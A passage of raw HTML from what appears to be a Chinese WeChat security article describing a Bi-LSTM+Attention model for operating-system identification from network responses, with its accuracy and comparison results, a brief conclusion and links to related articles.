0em;">我们采用Bi-LSTM+Attention的网络结构建模，利用Bi-LSTM层捕捉每个响应行中各个特征之间的双向关联关系</span><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.2222222222222223" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;width: 20px;height: 24px;" data-type="png" data-w="180" src="https://wechat2rss.xlab.app/img-proxy/?k=d81c2d7a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRTBkWwoq2yFH4VW6m3pxHDCZ0lto11E5KPEiaV5SwKzPRRbLibV5remYackeNB0mG7FNaOialP8OELg%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">：</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"></span></section><section style="text-align: center;margin-bottom: 0em;margin-left: 0px;margin-right: 0px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2870229007633588" data-s="300,640" style="width: 163px;height: 47px;" data-type="png" data-w="655" src="https://wechat2rss.xlab.app/img-proxy/?k=76a5e3ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRTBkWwoq2yFH4VW6m3pxHDqWGsHKOYZLRTGYCaFEs2mL2QQGIic5qDpydlxt1dx5iaehKexKkW84SQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin: 0.8em 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">其中,</span><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.2894736842105263" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;width: 23px;height: 30px;" data-type="png" data-w="190" src="https://wechat2rss.xlab.app/img-proxy/?k=3a4f10ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRTBkWwoq2yFH4VW6m3pxHDfiaEYsUn9y16R1340z1e6vRb7aBib1RGT4ibSuPISaBJTLz3GnHA86AHQ%2F640%3Fwx_fmt%3Dpng"/><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">为</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">正向输出</span><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.263157894736842" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;width: 23px;height: 29px;" data-type="png" data-w="190" src="https://wechat2rss.xlab.app/img-proxy/?k=d3924425&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRTBkWwoq2yFH4VW6m3pxHDY5LZNny8WMrlIHiaJJAGjMfgB5Xf3YzqHswgNrnibOFxc48vKb3ica3HA%2F640%3Fwx_fmt%3Dpng"/><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">为逆向输出，</span><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.8421052631578947" data-s="300,640" style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;width: 34px;height: 29px;" data-type="png" data-w="285" src="https://wechat2rss.xlab.app/img-proxy/?k=b041d4e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRTBkWwoq2yFH4VW6m3pxHDMdPcuWSYIhR65H8xE1SbgwsqjQ2gluUXsyZDpqP00yjEtENeicGrMtA%2F640%3Fwx_fmt%3Dpng"/><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">表示元素相加。</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;"></span></section><section style="margin: 0.8em 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">Attention层对响应行中的特征进行权重的分配，赋予对结果识别结果有较大影响的特征更大的权重：</span></section><section style="text-align: center;margin-bottom: 0em;margin-left: 0px;margin-right: 0px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6875" data-s="300,640" style="width: 201px;height: 138px;" data-type="png" data-w="816" src="https://wechat2rss.xlab.app/img-proxy/?k=302c318f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRTBkWwoq2yFH4VW6m3pxHDvkJoyZEdicD5MH7tUyW9AciaWQ0rrY1ZnWRsxb4hjfribtStBlMKKod4A%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin: 0.8em 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">其中，</span><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.2125" data-s="300,640" style="letter-spacing: 0.544px;text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;width: 22px;height: 27px;" data-type="png" data-w="240" src="https://wechat2rss.xlab.app/img-proxy/?k=501e62e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRTBkWwoq2yFH4VW6m3pxHDEO8O8QicophGM8x8bvcCweia2pIySyBvL31zqhzuXL5CSCL1GoibTWkvw%2F640%3Fwx_fmt%3Dpng"/><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">为输入向量，</span><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.9128630705394191" data-s="300,640" style="letter-spacing: 0.544px;text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;width: 24px;height: 22px;" data-type="png" data-w="241" src="https://wechat2rss.xlab.app/img-proxy/?k=ba283cec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRTBkWwoq2yFH4VW6m3pxHDy1vntDA9lFGyqBNQMybaMpFGyO55qrh6gXs7AIdXkKIqMIcWib4pKDQ%2F640%3Fwx_fmt%3Dpng"/><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">是通过学习得到的参数向量的转置。</span><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.1176470588235294" data-s="300,640" style="letter-spacing: 0.544px;text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;width: 20px;height: 22px;" data-type="png" data-w="170" src="https://wechat2rss.xlab.app/img-proxy/?k=ccd38f18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRTBkWwoq2yFH4VW6m3pxHDZC4gdhTooFBXgqdv7gZn4ticvobb9HXzNIxAxcbhZOssel3tOcal9Mg%2F640%3Fwx_fmt%3Dpng"/><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">为加权之后的输入向量，</span><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.994475138121547" data-s="300,640" style="letter-spacing: 0.544px;text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;width: 20px;height: 20px;" data-type="png" data-w="181" src="https://wechat2rss.xlab.app/img-proxy/?k=5d4b12fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRTBkWwoq2yFH4VW6m3pxHD7OAZ0RzWIiakE8HtF2BiaDLgwBgc7vjE1icicgw9CUibYUm5XwHVrxypVtQ%2F640%3Fwx_fmt%3Dpng"/><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">为用于操作系统识别的特征向量表示。</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"></span></section><section style="text-align: center;margin-bottom: 0em;margin-left: 0px;margin-right: 0px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7129277566539924" data-s="300,640" style="" data-type="png" data-w="526" src="https://wechat2rss.xlab.app/img-proxy/?k=b5ce3e80&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRTBkWwoq2yFH4VW6m3pxHDS3x4CUwXPYX6FLGnZaULuFOTibPfLINN4TibWDbCspNsncla6VkOaiaaA%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;margin-left: 0px;margin-right: 0px;"><span style="font-size:13px;"><span style="font-family:黑体;">图</span> </span><span style="font-size:13px;">2</span><span style="font-size:13px;"> </span><span style="font-family:黑体;font-size:13px;">Bi</span><span style="font-size:13px;">-LSTM+Attention</span><span style="font-family:黑体;font-size:13px;">模型结构</span></section><section style="margin: 0.8em 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;overflow-wrap: break-word !important;"><strong style="letter-spacing: 0.544px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">实验结果</span></strong><br/></section><section style="margin: 0.8em 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;">从网络上随机收集操作系统数据作为测试数据，基于该测试数据，我们的模型评</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;">估指标</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;">A</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;">cc为0.95。</span></section><section style="margin: 0.8em 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;overflow-wrap: break-word !important;"><span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">同时，我们增加了对比实验，在相同的测试数据上，对比卷积神经网络（CNN）、循环神经网络（RNN）、循环卷积神经网络（RCNN）、卷积神经网络-注意力机制（AttentionConvNet）的检测结果，对比结果如下：</span></section><section style="text-align: center;margin-bottom: 0em;margin-left: 0px;margin-right: 0px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.33359375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=2f2c2542&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRTBkWwoq2yFH4VW6m3pxHDTe0LgbbziapAoLWFAyOLX5fFXOsicoqib5zhe9m6J3MkXuia2L1YcPicHEg%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;margin-left: 0px;margin-right: 0px;"><span style="font-family:黑体;font-size:13px;">操作系统识别实验结果</span></section><section style="text-indent: 0em;white-space: normal;line-height: 25.5px;text-align: left;margin-left: 0px;margin-right: 0px;"><span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;background-color: rgb(255, 255, 255);text-indent: 0em;"></span></section><section style="text-indent: 0em;white-space: normal;line-height: 25.5px;text-align: left;margin-left: 0px;margin-right: 0px;"><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;white-space: pre-wrap;text-indent: 28px;"></span></section><h2 cid="n0" mdtype="heading" style="margin: 1rem 0px;font-weight: bold;font-size: 1.75em;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 17px;visibility: visible;overflow-wrap: break-word !important;">总结</span></strong></h2><section style="margin: 0.8em 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">网络空间发展</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">日新月异</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">，</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">复杂繁多</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">的</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">网络安全问题</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">也层出不穷</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">。</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">日益增长</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">的网络安全需求促使着相关研究人员将机器学习</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">、</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">深度学习算法应用于</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">更多更广的</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">网络安全领域</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">。</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">近年来，基于</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">A</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">I的网络安全研究成果不断出现在各</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">类</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">文献和报道中，很多研究成果成功落地</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">并取得了</span><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">良好效果。</span></section><section style="margin: 0.8em 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;">目前，利用人工智能（AI）技术解决网络安全问题已成为必然的发展趋势，基于AI的网络安全技术是一项创新且富有挑战性的工作，我们也将与更多先行者同行，不断创造突破性技术，专注人工智能在网络攻防安全领域的应用研究，让网络攻防更智能。</span></section><section style="margin: 0.8em 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;overflow-wrap: break-word !important;"><span style="letter-spacing: 0.544px;font-size: 15px;text-align: left;text-indent: 0em;"><br/></span></section><section style="white-space: normal;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;margin-left: 0px;margin-right: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;max-width: 100%;display: flex;justify-content: center;align-items: center;width: 677px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;max-width: 100%;display: flex;justify-content: center;align-items: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;max-width: 100%;width: 6px;height: 6px;transform: translateX(14px);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="outline: 0px;display: block;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=b7bef235&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FasLg7via5ibAkf1mRkpS4IuZibZE5eeC0t8nibIZBfZEekibOEZVWyf9jHzIVvT2sTzKS1OtZzSBErxJUZXD1AwAAWw%2F640%3Fwx_fmt%3Dpng"/></section><section data-mid="" mpa-from-tpl="t" style="padding-right: 4px;padding-left: 4px;outline: 0px;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p data-mid="" style="padding-right: 16px;padding-left: 16px;outline: 0px;max-width: 100%;font-size: 14px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(27, 110, 201);line-height: 20px;border-bottom: 1px solid rgb(27, 110, 201);text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;">往期回顾</p></section><section data-mid="" mpa-from-tpl="t" style="outline: 0px;max-width: 100%;width: 6px;height: 6px;transform: translateX(-14px);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="outline: 0px;display: block;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=24153e94&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FicjDF5uGXY5ibE0P0Mtzns3KNb5hsCIKPfMIRultHDbmzgJcDaibI4wNKM6ZloyGRtRovyXtVdv3SuuVOcmA8gn8A%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><section style="margin: 1em 0px 14px;font-size: 22px;white-space: normal;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484650&amp;idx=1&amp;sn=9126c288f84d1d3d1e9e9a7d4410ef06&amp;chksm=c0ddfe9bf7aa778d734df0b7fa1e4c9aaaa9c753f048f88756172e0d9d78c57080a5c99fcda9&amp;scene=21#wechat_redirect" textvalue="一种快速的无代替模型的黑盒对抗攻击算法SurFree " linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">一种快速的无代替模型的黑盒对抗攻击算法SurFree </span></a></section><h1 style="margin: 1em 0px 14px;outline: 0px;font-size: 22px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484549&amp;idx=1&amp;sn=63b79085820dd2076afdc7f3437afb22&amp;chksm=c0ddfef4f7aa77e20f7724559b20aa185f93c567a6a89fc564cd827ff594cc4bdb9a1fbf1867&amp;scene=21#wechat_redirect" textvalue="Vackbot已覆盖 |【漏洞通告】Spring框架远程代码执行漏洞" linktype="text" imgurl="" imgdata="null" data-itemshowtype="11" tab="innerlink" data-linktype="2" wah-hotarea="click" hasload="1" style="outline: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">Vackbot已覆盖 |【漏洞通告】Spring框架远程代码执行漏洞</span></a></h1><h1 style="margin: 10px 0px 14px;outline: 0px;font-size: 22px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;widows: 1;background-color: rgb(255, 255, 255);line-height: 1.4;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484532&amp;idx=1&amp;sn=d6d09f24d22979ba7d3ee9f9c88c8c61&amp;chksm=c0ddfe05f7aa7713061756b4edc9a5c4a08e858fa84729303c685698c96978e16f4233e3e6ae&amp;scene=21#wechat_redirect" textvalue="Spring Cloud Function SpEL表达式注入" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" wah-hotarea="click" hasload="1" style="outline: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">Spring Cloud Function SpEL表达式注入</a></h1><section style="margin-bottom: 0em;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);margin-left: 0px;margin-right: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><section style="margin: 10px 0px;outline: 0px;max-width: 100%;white-space: normal;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.43333333333333335" data-s="300,640" style="outline: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 194px !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=044cd326&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7lCiaSMMkhia4WIkRNZHTwq8jJicy27jdbWa7ED26252RGmSPRE0rmHQsgZ6ZoichVyFNlvhLelZS09a194B9dyoAQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin: 10px 0px;outline: 0px;max-width: 100%;white-space: normal;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);letter-spacing: 2px;box-sizing: border-box !important;overflow-wrap: break-word !important;">引领智能网络攻防科技</span></section><section style="margin: 10px 0px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);white-space: normal;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 